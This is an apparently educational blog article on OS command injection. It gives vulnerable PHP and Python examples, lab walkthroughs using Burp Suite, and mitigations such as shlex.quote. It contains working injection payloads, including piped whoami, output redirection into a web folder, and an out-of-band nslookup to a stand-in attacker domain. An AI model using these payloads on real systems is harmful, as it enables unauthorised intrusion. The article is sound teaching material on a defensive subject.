In a command injection attack, an attacker tries to take control of the host operating system by injecting arbitrary commands into a vulnerable application. Regardless of any security measures, these commands can be carried out and potentially be used to steal data, crash systems, corrupt databases, and even install malware that can be used later.
In most cases, the lack of proper input validation and sanitization allows attackers to exploit the command injection vulnerability on the application. Attackers can execute malicious commands when the application passes insecure user-supplied data to the system shell, such as cookies, form data, or HTTP headers. There are many different types of command injection, including the direct execution of shell commands, uploading of malicious files into the server's runtime environment, and the exploitation of configuration file flaws like XML external entities (XXE).
Command injection attacks are possible if the web application uses operating system calls and user input is used. These attacks are not language-specific; command injection vulnerabilities can appear in any language that allows you to call a system shell command, including C, Java, PHP, Perl, Ruby, Python, JavaScript, etc.
Code Injection vs. Command Injection
Code injection attack involves injecting malicious code used by an application. This attack generally consists of the attacker sending the target application a request that contains the malicious injection code (often via a browser or a proxy tool).
Conversely, command injection involves executing commands in a system shell or other parts of the environment. Without injecting malicious code, the attacker extends the default functionality of a vulnerable application, causing it to pass commands to the system shell.
In many cases, command injection gives the attacker more control over the target system than code injection.
Command Injection Examples and Attacks Scenario
Now that we have understood what command injection is let’s look at how it works.
PHP code example:
<?php
$address = $_GET["address"];
$output = shell_exec("ping -n 3 $address");
echo "<pre>$output</pre>";
?>
The PHP application developer wants the user to be able to access the web application's output from the Windows ping command. So, the application requests the user's IP address before sending ICMP pings to that address. Unfortunately, the developer needs to remember to use the input validation mechanism.
The GET method is used to pass the IP address, which is then used in running a shell command using the shell_exec function.
The attacker takes advantage of this by modifying the GET request with the following payload:
http://vulnerable-site.com/ping.php?address=192.168.2.2%26hostname.
The shell_exec function runs the following operating system command:
ping -n 3 192.168.2.2&hostname. OS commands are separated in Windows by the & symbol. As a result, the vulnerable application runs an additional command hostname and shows the command's output.
Python code example:
Let's look at a simple application that uses the nslookup command to perform a DNS lookup on a domain. The application requests the domain name. When we enter the domain name, the IP address from the DNS lookup is returned. To execute the command, we will use subprocess module.
import subprocess
domain_name = input("Enter the domain name: ")
command = "nslookup {}".format(domain_name)
response = subprocess.check_output(command,shell=True,encoding='UTF-8')
print(response)
The output
The related IP address was returned when we entered google.com.
Again, the developer needs to remember to implement any security control here. An attacker can take advantage of this using the following payload:
google.com;uname -v
Backend command will be - nslookup google.com; uname -v
OS executed both nslookup and uname -v and returned the output.
Prevention –
There is another method for preventing this besides validating the input. The most basic protection is to quote the input with shlex.quote(), as shown below –
import subprocess
import shlex
domain_name = input("Enter the domain name: ")
prevention = shlex.quote(domain_name)
command = "nslookup {}".format(prevention)
response = subprocess.check_output(command,shell=True,encoding='UTF-8')
print(response)
This ensures that the input is quoted and that the OS does not evaluate anything in the input as commands that must be executed. The command will now appear as follows:
nslookup ‘google.com ; uname -v’
The operating system did not execute the command, and the program returned an error, preventing any malicious behavior.
Let's understand this more clearly with the help of a practical example.
Command Injection Use Case:
The product stock checker in this lab has an OS command injection vulnerability. The program runs a shell command with input from the user for the product and store IDs and responds with the command's output.
- Click on Check stock and intercept the request using burpsuite.
- Send the captured request to the repeater tab.
- Modify the storeID parameter, insert the value 1|whoami
Blind Command Injection with time delays
Blind vulnerabilities cause numerous cases of command injection. This indicates that the application's HTTP response does not include the command's output. Blind vulnerabilities can still be exploited, but it takes a different approach.
There are several ways to introduce time delays on a command prompt, depending on the operating system (e.g., sleep in bash or timeout in Windows cmd). However, there is one command that can be used to delay processes and is accessible on almost all systems: ping
Using an injected command that causes a time delay, you can determine whether the command was executed based on how long the application takes to respond. This can be accomplished using the ping command, which allows you to specify how many ICMP packets to send.
Payload: ping+-c+10+127.0.0.1
Here, the -c parameter is essential. Ping on Windows always sends four requests by default, so the delay could be estimated using this default. However, ping on Linux is defaulted to forever, so it would never end (until perhaps some timeout hits). Some other systems terminate on receiving the first packet back.
The default setting for ping is to send one request immediately, followed by one more request every second until the specified number is reached. The target system can be accessed directly using its localhost IP address, 127.0.0.1. Using ping with ten requests will result in a 9-second delay. The first request is sent immediately, then nine times - one second waiting for each request.
- Fill in the details in the submit feedback form and capture the request in the burpsuite.
- Send the captured request to the repeater tab.
- Insert the payload in the email parameter, send the request, and note the time delay.
Blind Command Injection with output redirection
The application executes a shell command containing the user-supplied information. The response does not include the command's output. To obtain the command's output, you can use output redirection. A writable folder can be found at: /var/www/images.
The application uses this location to serve the product catalog's images. You can use the image loading URL to extract the file's contents after redirecting the output from the injected command to a file in this folder.
- Fill in the details in the submit feedback form and capture the request in the burpsuite.
- Insert the payload in email parameter - ||whoami>/var/www/images/output.txt||
- Go back to any product page, refresh the page, and capture the request.
- Observe the filename= parameter, and modify the parameter to filename=outout.txt
Blind Command Injection with out-of-band(OOB) interaction
The Out-Of-Band (OOB) technique allows an attacker to confirm and exploit a vulnerability that would otherwise be blind. As an attacker, you do not receive the vulnerability's output in direct response to the vulnerable request in a blind vulnerability.
The program runs a shell command with the information the user has provided. The command is carried out asynchronously without impacting how the application responds. You cannot direct output to a location that is accessible to you. You can, however, start out-of-band interactions with a different domain.
Payload: ||nslookup+ATTACKER_CONTROLLED-DOMAIN||
This payload performs a DNS lookup for the specified domain using the nslookup command. The attacker can determine whether the command was successfully injected by checking for the specific lookup.
Note: Use the Burp Collaborator link for performing any query.
- Fill in the details in submit feedback form and capture the request in the burpsuite.
- Send the captured request to the repeater tab.
- Insert the payload in the email parameter, send the request, and check for the pingback in the collaborator.
It is usually a good idea to run some initial commands after discovering an OS command injection vulnerability to learn more about the operating system that has been compromised.
Several useful commands for Windows and Linux platforms include:
Mitigations
Below are a few best practices to implement to avoid/mitigate command injection vulnerabilities.
- Use strong input validation for any user-controlled input that is passed into running any OS commands.
- Always cse the principle of least privilege.
- Neutralize meta-characters, such as - ; | || / \
- Automate testing for command injection in the build pipeline
The use of shell execution functions should be avoided. If they must be used, limit their application to particular use cases.